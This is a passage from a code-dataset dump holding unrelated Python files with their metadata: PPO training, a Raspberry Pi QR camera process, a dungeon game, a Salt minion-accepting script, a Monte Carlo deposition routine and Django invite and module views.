clip_param, 1.0 + clip_param) * atarg #\n pol_surr = - U.mean(tf.minimum(surr1, surr2)) # PPO's pessimistic surrogate (L^CLIP)\n vfloss1 = tf.square(pi.vpred - ret)\n vpredclipped = oldpi.vpred + tf.clip_by_value(pi.vpred - oldpi.vpred, -clip_param, clip_param)\n vfloss2 = tf.square(vpredclipped - ret)\n vf_loss = .5 * U.mean(tf.maximum(vfloss1, vfloss2)) # we do the same clipping-based trust region for the value function\n #vf_loss = U.mean(tf.square(pi.vpred - ret))\n total_loss = pol_surr + pol_entpen + vf_loss\n losses = [pol_surr, pol_entpen, vf_loss, meankl, meanent]\n loss_names = [\"pol_surr\", \"pol_entpen\", \"vf_loss\", \"kl\", \"ent\"]\n\n var_list = pi.get_trainable_variables()\n lossandgrad = U.function([ob, ac, atarg, ret, lrmult], losses + [U.flatgrad(total_loss, var_list)])\n adam = MpiAdam(var_list, epsilon=adam_epsilon)\n\n assign_old_eq_new = U.function([],[], updates=[tf.assign(oldv, newv)\n for (oldv, newv) in zipsame(oldpi.get_variables(), pi.get_variables())])\n compute_losses = U.function([ob, ac, atarg, ret, lrmult], losses)\n\n U.initialize()\n adam.sync()\n\n # Prepare for rollouts\n # ----------------------------------------\n if noisy_nets:\n stochastic = False\n else:\n stochastic = True\n seg_gen = traj_segment_generator(pi, env, timesteps_per_batch, stochastic=stochastic, num_parallel=num_parallel, num_cpu=num_cpu, rank=rank, ob_size=ob_size, ac_size=ac_size,com=MPI.COMM_WORLD)\n\n episodes_so_far = 0\n timesteps_so_far = 0\n iters_so_far = 0\n tstart = time.time()\n lenbuffer = deque(maxlen=100) # rolling buffer for episode lengths\n rewbuffer = deque(maxlen=100) # rolling buffer for episode rewards\n\n saver = tf.train.Saver()\n if resume > 0:\n saver.restore(tf.get_default_session(), os.path.join(os.path.abspath(logdir), \"{}-{}\".format(agentName, resume)))\n iters_so_far = resume\n assert sum([max_iters>0, max_timesteps>0, max_episodes>0, max_seconds>0])==1, \"Only one time constraint permitted\"\n\n logF = open(os.path.join(logdir, 'log.txt'), 'a')\n logStats = open(os.path.join(logdir, 'log_stats.txt'), 'a')\n\n dump_training = 0\n learn_from_training = 0\n if dump_training:\n if os.path.exists(logdir + \"\\\\\" + 'ob_list_' + str(rank) + '.pkl'):\n with open(logdir + \"\\\\\" +'ob_list_' + str(rank) + '.pkl', 'rb') as f:\n ob_list = pickle.load(f)\n else:\n ob_list = []\n\n # , \"mean\": pi.ob_rms.mean, \"std\": pi.ob_rms.std\n saverRMS = tf.train.Saver({\"_sum\": pi.ob_rms._sum, \"_sumsq\": pi.ob_rms._sumsq, \"_count\": pi.ob_rms._count})\n saverRMS.save(tf.get_default_session(), os.path.join(os.path.abspath(logdir), \"rms.tf\"))\n\n ob_np_a = np.asarray(ob_list)\n ob_np = np.reshape(ob_np_a, (-1,ob_size))\n [vpred, pdparam] = pi._vpred_pdparam(ob_np)\n\n print(\"vpred = \" + str(vpred))\n print(\"pd_param = \" + str(pdparam))\n with open('training.pkl', 'wb') as f:\n pickle.dump(ob_np, f)\n pickle.dump(vpred, f)\n pickle.dump(pdparam, f)\n exit(0)\n\n if learn_from_training:\n # , \"mean\": pi.ob_rms.mean, \"std\": pi.ob_rms.std\n with open('training.pkl', 'rb') as f:\n ob_np = pickle.load(f)\n vpred = pickle.load(f)\n pdparam = pickle.load(f)\n num = ob_np.shape[0]\n for i in range(num):\n xp = ob_np[i][1]\n ob_np[i][1] = 0.0\n ob_np[i][18] -= xp\n ob_np[i][22] -= xp\n ob_np[i][24] -= xp\n ob_np[i][26] -= xp\n ob_np[i][28] -= xp\n ob_np[i][30] -= xp\n ob_np[i][32] -= xp\n ob_np[i][34] -= xp\n print(\"ob_np = \" + str(ob_np))\n print(\"vpred = \" + str(vpred))\n print(\"pdparam = \" + str(pdparam))\n batch_size = 128\n\n y_vpred = tf.placeholder(tf.float32, [batch_size, ])\n y_pdparam = tf.placeholder(tf.float32, [batch_size, pdparam.shape[1]])\n\n vpred_loss = U.mean(tf.square(pi.vpred - y_vpred))\n vpdparam_loss = U.mean(tf.square(pi.pdparam - y_pdparam))\n\n total_train_loss = vpred_loss + vpdparam_loss\n #total_train_loss = vpdparam_loss\n #total_train_loss = vpred_loss\n #coef = 0.01\n #dense_all = U.dense_all\n #for a in dense_all:\n # total_train_loss += coef * tf.nn.l2_loss(a)\n #total_train_loss = vpdparam_loss\n optimizer = tf.train.AdamOptimizer(learning_rate=0.001).minimize(total_train_loss)\n d = Dataset(dict(ob=ob_np, vpred=vpred, pdparam=pdparam), shuffle=not pi.recurrent)\n sess = tf.get_default_session()\n sess.run(tf.global_variables_initializer())\n saverRMS = tf.train.Saver({\"_sum\": pi.ob_rms._sum, \"_sumsq\": pi.ob_rms._sumsq, \"_count\": pi.ob_rms._count})\n saverRMS.restore(tf.get_default_session(), os.path.join(os.path.abspath(logdir), \"rms.tf\"))\n if resume > 0:\n saver.restore(tf.get_default_session(),\n os.path.join(os.path.abspath(logdir), \"{}-{}\".format(agentName, resume)))\n for q in range(100):\n sumLoss = 0\n for batch in d.iterate_once(batch_size):\n tl, _ = sess.run([total_train_loss, optimizer], feed_dict={pi.ob: batch[\"ob\"], y_vpred: batch[\"vpred\"], y_pdparam:batch[\"pdparam\"]})\n sumLoss += tl\n print(\"Iteration \" + str(q)+ \" Loss = \" + str(sumLoss))\n assign_old_eq_new() # set old parameter values to new parameter values\n\n # Save as frame 1\n try:\n saver.save(tf.get_default_session(), os.path.join(logdir, agentName), global_step=1)\n except:\n pass\n #exit(0)\n\n while True:\n if callback: callback(locals(), globals())\n if max_timesteps and timesteps_so_far >= max_timesteps:\n break\n elif max_episodes and episodes_so_far >= max_episodes:\n break\n elif max_iters and iters_so_far >= max_iters:\n break\n elif max_seconds and time.time() - tstart >= max_seconds:\n break\n\n if schedule == 'adaptive' or 'constant':\n cur_lrmult = 1.0\n elif schedule == 'linear':\n cur_lrmult = max(1.0 - float(timesteps_so_far) / max_timesteps, 0.0)\n elif schedule == 'linear_clipped':\n cur_lrmult = max(1.0 - float(timesteps_so_far) / max_timesteps, 0.2)\n elif schedule == 'cyclic':\n # cur_lrmult = max(1.0 - float(timesteps_so_far) / max_timesteps, 0)\n raise NotImplementedError\n else:\n raise NotImplementedError\n\n logger.log(\"********** Iteration %i ************\"%iters_so_far)\n\n seg = seg_gen.__next__()\n add_vtarg_and_adv(seg, gamma, lam, timesteps_per_batch, num_parallel, num_cpu)\n #print(\" ob= \" + str(seg[\"ob\"])+ \" rew= \" + str(seg[\"rew\"])+ \" vpred= \" + str(seg[\"vpred\"])+ \" new= \" + str(seg[\"new\"])+ \" ac= \" + str(seg[\"ac\"])+ \" prevac= \" + str(seg[\"prevac\"])+ \" nextvpred= \" + str(seg[\"nextvpred\"])+ \" ep_rets= \" + str(seg[\"ep_rets\"])+ \" ep_lens= \" + str(seg[\"ep_lens\"]))\n\n #exit(0)\n # ob, ac, atarg, ret, td1ret = map(np.concatenate, (obs, acs, atargs, rets, td1rets))\n ob, ac, atarg, tdlamret = seg[\"ob\"], seg[\"ac\"], seg[\"adv\"], seg[\"tdlamret\"]\n\n if dump_training:\n ob_list.append(ob.tolist())\n vpredbefore = seg[\"vpred\"] # predicted value function before udpate\n atarg = (atarg - atarg.mean()) / atarg.std() # standardized advantage function estimate\n d = Dataset(dict(ob=ob, ac=ac, atarg=atarg, vtarg=tdlamret), shuffle=not pi.recurrent)\n optim_batchsize = optim_batchsize or ob.shape[0]\n\n if hasattr(pi, \"ob_rms\"): pi.ob_rms.update(ob) # update running mean/std for policy\n\n assign_old_eq_new() # set old parameter values to new parameter values\n logger.log(\"Optimizing...\")\n logger.log(fmt_row(13, loss_names))\n # Here we do a bunch of optimization epochs over the data\n for _ in range(optim_epochs):\n losses = [] # list of tuples, each of which gives the loss for a minibatch\n for batch in d.iterate_once(optim_batchsize):\n *newlosses, g = lossandgrad(batch[\"ob\"], batch[\"ac\"], batch[\"atarg\"], batch[\"vtarg\"], cur_lrmult)\n if desired_kl != None and schedule == 'adaptive':\n if newlosses[-2] > desired_kl * 2.0:\n optim_stepsize = max(1e-8, optim_stepsize / 1.5)\n print('kl divergence was too large = ', newlosses[-2])\n print('New optim_stepsize = ', optim_stepsize)\n elif newlosses[-2] < desired_kl / 2.0:\n optim_stepsize = min(1e0, optim_stepsize * 1.5)\n print('kl divergence was too small = ', newlosses[-2])\n print('New optim_stepsize = ', optim_stepsize)\n adam.update(g, optim_stepsize * cur_lrmult)\n losses.append(newlosses)\n #print(str(losses))\n logger.log(fmt_row(13, np.mean(losses, axis=0)))\n\n logger.log(\"Evaluating losses...\")\n losses = []\n for batch in d.iterate_once(optim_batchsize):\n newlosses = compute_losses(batch[\"ob\"], batch[\"ac\"], batch[\"atarg\"], batch[\"vtarg\"], cur_lrmult)\n losses.append(newlosses)\n meanlosses,_,_ = mpi_moments(losses, axis=0)\n logger.log(fmt_row(13, meanlosses))\n\n for (lossval, name) in zipsame(meanlosses, loss_names):\n logger.record_tabular(\"loss_\"+name, lossval)\n logger.record_tabular(\"ev_tdlam_before\", explained_variance(vpredbefore, tdlamret))\n lrlocal = (seg[\"ep_lens\"], seg[\"ep_rets\"]) # local values\n listoflrpairs = MPI.COMM_WORLD.allgather(lrlocal) # list of tuples\n lens, rews = map(flatten_lists, zip(*listoflrpairs))\n lenbuffer.extend(lens)\n rewbuffer.extend(rews)\n\n logger.record_tabular(\"EpLenMean\", np.mean(lenbuffer))\n rewmean = np.mean(rewbuffer)\n logger.record_tabular(\"EpRewMean\", rewmean)\n logger.record_tabular(\"EpThisIter\", len(lens))\n episodes_so_far += len(lens)\n timesteps_so_far += sum(lens)\n iters_so_far += 1\n\n logger.record_tabular(\"EpisodesSoFar\", episodes_so_far)\n logger.record_tabular(\"TimestepsSoFar\", timesteps_so_far)\n logger.record_tabular(\"TimeElapsed\", time.time() - tstart)\n\n if dump_training:\n with open(logdir + \"\\\\\" + 'ob_list_' + str(rank) + '.pkl', 'wb') as f:\n pickle.dump(ob_list, f)\n\n if MPI.COMM_WORLD.Get_rank()==0:\n logF.write(str(rewmean) + \"\\n\")\n logStats.write(logger.get_str() + \"\\n\")\n logF.flush()\n logStats.flush()\n\n logger.dump_tabular()\n\n try:\n os.remove(logdir + \"/checkpoint\")\n except OSError:\n pass\n try:\n saver.save(tf.get_default_session(), os.path.join(logdir, agentName), global_step=iters_so_far)\n except:\n pass\n\ndef flatten_lists(listoflists):\n return [el for list_ in listoflists for el in list_]\n","sub_path":"baselines/ppo1/pposgd_parallel.py","file_name":"pposgd_parallel.py","file_ext":"py","file_size_in_byte":25406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"229395361","text":"\r\n# -*- coding: utf-8 -*-\r\nfrom pybloom import BloomFilter\r\nimport pybloomfilter\r\n\r\nbf = BloomFilter(capacity=1000, error_rate=0.001)\r\nbf = bf.fromfile(open('18', 'r'))\r\nprint(bf)\r\nprint(bf.__contains__(u'文档'))\r\n#\r\n# from pybloomfilter import BloomFilter\r\n#\r\nbf = pybloomfilter.BloomFilter(10000000, 0.01, 'filter.bloom')\r\n# print(1)\r\n# bf.add(\"ass\")\r\n# print(bf)\r\n","sub_path":"demo/test/testBF.py","file_name":"testBF.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"460494180","text":"# External Dependencies\nfrom multiprocessing import Queue\nfrom threading import Timer\nimport io\nimport time\nimport traceback\nimport operator\n\n\nclass CameraProcess():\n\n def scan_qr_code(in_queue, out_queue):\n from pyzbar import pyzbar\n from .pivideostream import PiVideoStream\n try:\n print(\"Instantiate PiVideoStream start\")\n start_time = int(time.time() * 1000)\n video_stream = PiVideoStream(resolution=(512, 384),framerate=12)\n end_time = int(time.time() * 1000)\n print(f\"Instantiate PiVideoStream finish: {end_time - start_time}ms\")\n\n video_stream.start()\n\n msg = [\"\"]\n\n while True:\n # Loop the reader until we get a result or receive \"stop\"\n frame = video_stream.read()\n\n if frame is None:\n # Camera isn't returning data yet\n time.sleep(0.1)\n continue\n\n barcodes = pyzbar.decode(frame)\n for barcode in barcodes:\n data = barcode.data.decode(\"utf-8\")\n out_queue.put([data])\n break\n if len(barcodes) == 0:\n out_queue.put([\"nodata\"])\n\n try:\n # Get any updates from the message queue, but don't wait\n msg = in_queue.get(block=False)\n except:\n pass\n\n if msg[0] == \"stop\":\n break\n finally:\n try:\n video_stream.stop()\n except:\n pass\n\n\n\n def capture_single_frame(in_queue, out_queue):\n from PIL import Image\n import picamera\n\n print(\"Instantiate PiCamera start\")\n start_time = int(time.time() * 1000)\n camera = picamera.PiCamera(resolution=(720, 480), framerate=8)\n end_time = int(time.time() * 1000)\n print(f\"Instantiate PiCamera finish: {end_time - start_time}ms\")\n\n try:\n print(\"camera ready\")\n out_queue.put([\"ready\"])\n\n # Wait for the \"click\" command\n while True:\n try:\n msg = in_queue.get(block=False)\n break\n except:\n time.sleep(0.1)\n\n if msg[0] == \"stop\":\n print(\"Received 'stop'\")\n return\n\n elif msg[0] == \"click\":\n print(\"Received 'click'\")\n\n # Wait for the automatic gain control to settle\n time.sleep(0.25)\n # Now fix the values\n camera.shutter_speed = camera.exposure_speed\n camera.exposure_mode = 'off'\n g = camera.awb_gains\n camera.awb_mode = 'off'\n camera.awb_gains = g\n\n stream = io.BytesIO()\n camera.capture(stream, format='jpeg')\n\n # \"Rewind\" the stream to the beginning so we can read its content\n stream.seek(0)\n\n out_queue.put([Image.open(stream)])\n\n except Exception as e:\n traceback.print_exc()\n\n finally:\n camera.close()\n print(\"Cleaned up capture_single_frame\")\n\n\n @classmethod\n def start(cls, out_queue, in_queue):\n print(\"CameraProcess start\")\n start_time = int(time.time() * 1000)\n from .pivideostream import PiVideoStream\n end_time = int(time.time() * 1000)\n print(f\"CameraProcess finish import: {end_time - start_time}ms\")\n\n is_running = True\n\n while is_running:\n is_camera_on = False\n\n msg = []\n msg = in_queue.get()\n\n if msg[0] == \"start\":\n CameraProcess.scan_qr_code(in_queue, out_queue)\n\n elif msg[0] == \"single_frame\":\n CameraProcess.capture_single_frame(in_queue, out_queue)\n\n elif msg[0] == \"stop\":\n print(\"stop camera!!\")\n\n time.sleep(0.25) # No need to poll all that frequently\n\n\n\nclass CameraPoll(object):\n\n def __init__(self, interval, function, *args, **kwargs):\n self._timer = None\n self.interval = interval\n self.function = function\n self.args = args\n self.kwargs = kwargs\n self.is_running = False\n self.start()\n\n def _run(self):\n self.is_running = False\n self.start()\n self.function(*self.args, **self.kwargs)\n\n def start(self):\n if not self.is_running:\n self._timer = Timer(self.interval, self._run)\n self._timer.start()\n self.is_running = True\n\n def stop(self):\n self._timer.cancel()\n self.is_running = False","sub_path":"src/seedsigner/helpers/camera_process.py","file_name":"camera_process.py","file_ext":"py","file_size_in_byte":4798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"238295732","text":"# Copyright 2021 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"run sdk infer\"\"\"\nimport argparse\nimport os\nfrom sr_infer_wrapper import SRInferWrapper\n\ndef parser_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--input_dir\", type=str, default=\"../data/DIV2K/input/\",\n help=\"path of input images directory\")\n parser.add_argument(\"--pipeline_path\", type=str, default=\"../data/config/edsr.pipeline\",\n help=\"path of pipeline file\")\n parser.add_argument(\"--output_dir\", type=str, default=\"../data/sdk_out/\",\n help=\"path of output images directory\")\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n args = parser_args()\n sr_infer = SRInferWrapper()\n sr_infer.load_pipeline(args.pipeline_path)\n path_list = os.listdir(args.input_dir)\n path_list.sort()\n if not os.path.exists(args.output_dir):\n os.makedirs(args.output_dir)\n\n for img_path in path_list:\n print(img_path)\n res = sr_infer.do_infer(os.path.join(args.input_dir, img_path))\n res.save(os.path.join(args.output_dir, img_path.replace('x2', '_infer')))\n","sub_path":"official/cv/EDSR/infer/sdk/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"280954030","text":"\"\"\"Tests for the flake8.exceptions module.\"\"\"\nimport pickle\n\nfrom flake8 import exceptions\n\n\nclass _ExceptionTest:\n def test_pickleable(self):\n \"\"\"Test that the exception is round-trip pickleable.\"\"\"\n for proto in range(pickle.HIGHEST_PROTOCOL + 1):\n new_err = pickle.loads(pickle.dumps(self.err, protocol=proto))\n assert str(self.err) == str(new_err)\n orig_e = self.err.original_exception\n new_e = new_err.original_exception\n assert (type(orig_e), orig_e.args) == (type(new_e), new_e.args)\n\n\nclass TestFailedToLoadPlugin(_ExceptionTest):\n \"\"\"Tests for the FailedToLoadPlugin exception.\"\"\"\n\n err = exceptions.FailedToLoadPlugin(\n plugin_name='plugin_name',\n exception=ValueError('boom!'),\n )\n\n\nclass TestInvalidSyntax(_ExceptionTest):\n \"\"\"Tests for the InvalidSyntax exception.\"\"\"\n\n err = exceptions.InvalidSyntax(exception=ValueError('Unexpected token: $'))\n\n\nclass TestPluginRequestedUnknownParameters(_ExceptionTest):\n \"\"\"Tests for the PluginRequestedUnknownParameters exception.\"\"\"\n\n err = exceptions.PluginRequestedUnknownParameters(\n plugin={'plugin_name': 'plugin_name'},\n exception=ValueError('boom!'),\n )\n\n\nclass TestPluginExecutionFailed(_ExceptionTest):\n \"\"\"Tests for the PluginExecutionFailed exception.\"\"\"\n\n err = exceptions.PluginExecutionFailed(\n plugin={'plugin_name': 'plugin_name'},\n exception=ValueError('boom!'),\n )\n","sub_path":"tests/unit/test_exceptions.py","file_name":"test_exceptions.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"349455961","text":"from Charecters.hero import Hero\nfrom Charecters.enemy import Enemy\nfrom .weapon import Weapon\nfrom Dungeon.dungeon import *\n\nclass Fight:\n def __init__(self, hero, enemy,dungeon):\n self.hero = hero\n self.enemy = enemy\n self.dungeon = dungeon\n \n\n @staticmethod\n def greater(a, b):\n if a > b:\n return a\n else:\n return b\n\n def attack_by_hero(self):\n check_weapon = self.dungeon.hero_can_attack_by_weapon(self.enemy)\n if self.hero.can_attack_by_spell() is True and self.hero.can_attack_by_weapon() is True and check_weapon is True:\n #chosen_attack_damage = self.greater(self.hero.attack(by=\"weapon\"), self.hero.attack(by=\"spell\"))\n chosen_attack_damage = self.greater(self.hero.weapon.get_damage(), self.hero.spell.get_damage())\n elif self.hero.can_attack_by_weapon() is True and check_weapon is True:\n chosen_attack_damage = self.hero.weapon.get_damage()\n elif self.hero.can_attack_by_spell() is True:\n chosen_attack_damage = self.hero.spell.get_damage()\n else:\n chosen_attack_damage = 0\n if chosen_attack_damage == 0:\n print(\"Hero can't attack, he has no spell and weapon or is out of mana.\")\n elif chosen_attack_damage == self.hero.spell.get_damage() and self.hero.can_attack_by_spell():\n self.hero.use_mana(self.hero.spell.get_mana_cost())\n self.enemy.take_damage(chosen_attack_damage)\n print(\"Hero casts a \" + self.hero.spell.get_name() + \" ,hits enemy for \" + str(chosen_attack_damage) + \" dmg.\")\n print(\"Enemy health is \" + str(self.enemy.get_health()))\n #Added this so we don't attack with a weapon from miles away\n elif not self.dungeon.hero_attack('weapon'):\n print('Hero cannot cast a spell and is too far to attack by weapon!')\n return\n else:\n self.enemy.take_damage(chosen_attack_damage)\n print(\"Hero hits enemy with a \" + self.hero.weapon.get_name() + \" for \" + str(chosen_attack_damage) + \" dmg.\")\n print(\"Enemy health is \" + str(self.enemy.get_health()))\n\n def attack_by_enemy(self):\n self.hero.take_damage(self.enemy.get_damage())\n print(\"Enemy hits hero for \" + str(self.enemy.get_damage()) + \" dmg.\")\n print(\"Hero health is \" + str(self.hero.get_health()))\n\n\n\n\n","sub_path":"Items/fight.py","file_name":"fight.py","file_ext":"py","file_size_in_byte":2408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"201612642","text":"#!/usr/bin/env python\n\nfrom primes import iprimes2\n\nd = 10001\n\n#x is the limit\nx = 100000\nwhile True:\n for val in iprimes2(x):\n pass\n gen = iprimes2(x)\n li = list(iprimes2(x))\n length = len(li)\n last = li[-1]\n print('[{}: len: {} last: {}]'.format(x, length, last))\n\n if length == d:\n #print('{} {} highest: {}'.format(x, length, list(gen)[-1]))\n break\n elif length < d:\n if length < (d / float(2)):\n x *= 2\n else:\n x += 2\n elif length > d:\n x -= 2\n","sub_path":"python/problem7.py","file_name":"problem7.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"465608350","text":"import random, math\r\n\r\ndef tower_sample(Pi):\r\n L=[0]\r\n K=len(Pi)\r\n for l in range(1, K+1): L+=[L[l-1]+Pi[l-1], ]\r\n Upsilon=random.uniform(0, L[-1])\r\n\r\n for k in range(1, len(L)+1):\r\n if (Upsilon>L[k-1] and Upsilon1:\r\n Upsilon1=1-Upsilon1\r\n Upsilon2=1-Upsilon2\r\n x=X[0][0]+Upsilon1*(X[1][0]-X[0][0])+Upsilon2*(X[2][0]-X[0][0])\r\n y=X[0][1]+Upsilon1*(X[1][1]-X[0][1])+Upsilon2*(X[2][1]-X[0][1])\r\n return [x, y]\r\n\r\ndef direct_polygon(X):\r\n \"\"\"X is a list of vertices for a polygon with n>3 vertices\"\"\"\r\n n=len(X)\r\n s1, s2=0., 0.\r\n for i in range(n):\r\n s1+=X[i][0]\r\n s2+=X[i][1]\r\n Xc=[s1/n, s2/n]\r\n X+=[X[0], ]\r\n A=[0]*n\r\n for k in range(n):\r\n A[k]=(Xc[0]*X[k][1]+X[k][0]*X[k+1][1]+X[k+1][0]*Xc[1]-X[k][0]*Xc[1]-X[k+1][0]*X[k][1]-Xc[0]*X[k+1][1])/2.\r\n k=tower_sample(A)\r\n x=direct_triangle([Xc, X[k], X[k+1]])\r\n return x\r\n\r\ndef fast_deposition(R, t, L, r):\r\n \"\"\" box of area=L*L, radius of each identical circle=r\"\"\"\r\n A_tot=L**2\r\n A1=[]\r\n s=0.\r\n K=len(R)\r\n for X in range(K):\r\n n=len(X)\r\n s1, s2=0., 0.\r\n for i in range(n):\r\n s1+=X[i][0]\r\n s2+=X[i][1]\r\n Xc=[s1/n, s2/n]\r\n X+=[X[0], ]\r\n A=[0]*n\r\n for k in range(n):\r\n A[k]=(Xc[0]*X[k][1]+X[k][0]*X[k+1][1]+X[k+1][0]*Xc[1]-X[k][0]*Xc[1]-X[k+1][0]*X[k][1]-Xc[0]*X[k+1][1])/2.\r\n A1+=[sum(A), ]\r\n s+=sum(A)\r\n L=1-s/A_tot\r\n del_t=1+int(math.log(random.random())/math.log(L))\r\n k=tower_sample(A1)\r\n \r\n flag=0\r\n while True:\r\n p=[direct_polygon(R[k])]\r\n for l in range(len(R[k])):\r\n if min([math.sqrt((p[0]-P[0])**2+(p[1]-P[1])**2) for P in pos])>=2*radius:\r\n pos+=[p, ]\r\n flag=1\r\n break\r\n\r\n t+=1\r\n if flag==1:break\r\n return t, R\r\n","sub_path":"Chapter 7/fast-deposition.py","file_name":"fast-deposition.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"299181425","text":"#!/usr/bin/env python\n\nfrom datetime import datetime\nimport os\nimport random\nimport string\nimport sys\nimport time\n\n\npillar_tmpl = \"\"\"\\\ncontroller: lanternctrl1-2\nauth_token: %s\ninstall-from: git\ninstance_id: %s\nproxy_protocol: tcp\n\"\"\"\n\nAUTH_TOKEN_ALPHABET = string.letters + string.digits\nAUTH_TOKEN_LENGTH = 64\n\n\ndef random_auth_token():\n return ''.join(random.choice(AUTH_TOKEN_ALPHABET)\n for _ in xrange(AUTH_TOKEN_LENGTH))\n\ndef minion_id(prefix, n):\n return '%s-jp-%s-%s' % (\n prefix,\n datetime.now().date().isoformat().replace('-', ''),\n str(n).zfill(3))\n\ndef accept_minions(prefix, start, number):\n for i in xrange(start, start+number):\n id_ = minion_id(prefix, i)\n file(\"/srv/pillar/%s.sls\" % id_, 'w').write(\n pillar_tmpl % (random_auth_token(), id_))\n os.system(\"salt-key -ya %s\" % id_)\n\n\nif __name__ == '__main__':\n accept_minions(sys.argv[1],\n int(sys.argv[2]),\n int(sys.argv[3]))\n","sub_path":"salt/cloudmaster/accept_minions.py","file_name":"accept_minions.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"251579135","text":"import os, zipfile\n\nfrom django.conf import settings\nfrom django.core.files.storage import FileSystemStorage\nfrom django.contrib.auth import login, logout, authenticate\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.messages import error, info\nfrom django.shortcuts import render, redirect\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .forms import UserForm, RegistrationForm, ModuleForm\nfrom .models import User, InviteCode, Modules, UserProfile, ModulesStatus, MessageBoard, Teams, MessageViews\nfrom .helpers import generator\n\n\ndef index(request):\n if request.user.is_authenticated():\n return redirect(\"/home/\")\n\n else:\n form = UserForm()\n return render(request,\"login.html\",{'LoginForm':form})\n\n\ndef register(request, invite=\"0000\"):\n if request.method == \"POST\":\n current_invite = InviteCode.objects.get(invite_code=request.POST['invite'])\n\n if current_invite.active:\n new_user = User.objects.create_user(request.POST['username'],current_invite.email,request.POST['password'])\n new_profile = UserProfile(user=new_user,\n invite_code=request.POST['invite'],\n team=current_invite.leader)\n\n team = Teams(team=current_invite.leader,\n member=new_user)\n\n if current_invite.staff:\n new_user.is_staff = True\n\n new_profile.save()\n new_user.save()\n team.save()\n\n current_invite.active = False\n current_invite.save()\n\n info(request,\"You have been registered, please login\")\n return redirect(\"/login/\")\n else:\n return redirect(\"/\")\n else:\n if request.user.is_authenticated():\n return redirect(\"/home/\")\n else:\n return render(request, \"register.html\",{'form': RegistrationForm(),'invite':invite})\n\n\ndef userlogin(request):\n if request.method == \"POST\":\n user = authenticate(username=request.POST['username'],\n password=request.POST['password'])\n if user is not None:\n if user.is_active:\n login(request, user)\n info(request, \"Welcome back\")\n return redirect(\"/home/\")\n\n else:\n info(request, \"User is not active\")\n return redirect(\"/login/\")\n\n else:\n error(request, \"There was an error with your username/password\")\n return redirect(\"/login/\")\n\n else:\n form = UserForm()\n return render(request, \"login.html\", {'LoginForm': form})\n\n\n@csrf_exempt\n@login_required\ndef content_mgmt(request):\n\n if request.method == \"POST\":\n if request.POST[\"action\"] == \"delete\":\n Modules.objects.filter(name=request.POST[\"item\"]).delete()\n info(request, \"Module Deleted\")\n return redirect(\"/home/\")\n\n elif request.POST[\"action\"] == \"publish\":\n mod = Modules.objects.get(name=request.POST[\"item\"])\n\n if mod.published:\n mod.published = False\n info(request, \"Module Unpublished\")\n\n else:\n mod.published = True\n info(request, \"Module Published\")\n\n mod.save()\n\n return redirect(\"/home/\")\n\n elif request.POST[\"action\"] == \"upload\":\n\n if request.FILES[\"module\"]:\n uploadedfile = request.FILES[\"module\"]\n module_dir = \"modules/\"\n ext = uploadedfile.name.split(\".\")\n storage = generator.id_generator(size=16)\n upload_dir = os.path.join(module_dir,storage,uploadedfile.name)\n fs = FileSystemStorage()\n fs.save(upload_dir, uploadedfile)\n\n if ext[1:len(ext)][0] == \"zip\" and os.path.isfile(upload_dir):\n zip_ref = zipfile.ZipFile(upload_dir,\"r\")\n zip_ref.extractall(os.path.join(settings.MEDIA_ROOT,module_dir,storage,'store'))\n zip_ref.close()\n\n if not request.POST['name']:\n module_name = ext[0]\n\n else:\n module_name = request.POST['name']\n\n Modules(name=module_name,\n description=request.POST['description'],\n owner=request.user.username,\n storage=storage,\n module=uploadedfile.name)\n\n info(request, \"Module Uploaded\")\n return redirect(\"/home/\")\n\n else:\n return redirect(\"/home/\")\n\n\n@login_required\ndef home(request):\n\n modules = Modules.objects.all()\n personal_stats = ModulesStatus.objects.filter(user=request.user.id)\n return render(request, \"home.html\", {\"modules\": modules,\n \"pstats\":personal_stats,})\n\n\n@login_required\ndef manage(request):\n\n if request.method == \"POST\":\n\n if request.POST.get('staff'):\n staff = True\n\n else:\n staff = False\n\n\n # TODO: move invite code stuff from models\n invite = InviteCode().create_code(leader=request.user,\n email=request.POST['email'],\n staff=staff)\n\n # send invite email.\n message = \"\"\"\n # email/invite not working yet\n Good Day,\n You've been invited to use the Daimlier Learning Platform\n\n http://localhost:8000/register/%s\n\n Cheers,\n The DLP Team\n \"\"\" % invite\n\n info(request, message)\n return redirect(\"/manage\")\n\n\n total_invites = InviteCode.objects.all()\n pending_invites = total_invites.filter(active=True)\n team_all_invites = total_invites.filter(leader=request.user)\n team_pending_invites = total_invites.filter(active=True, leader=request.user)\n\n # superusers can see all teams.\n current_team = UserProfile.objects.filter(team=request.user)\n\n module_all = Modules.objects.filter(published=True)\n module_status = ModulesStatus.objects.all()\n\n dasstats = []\n for a in module_all:\n if a.published:\n for b in module_status:\n if a.id == b.module_id:\n 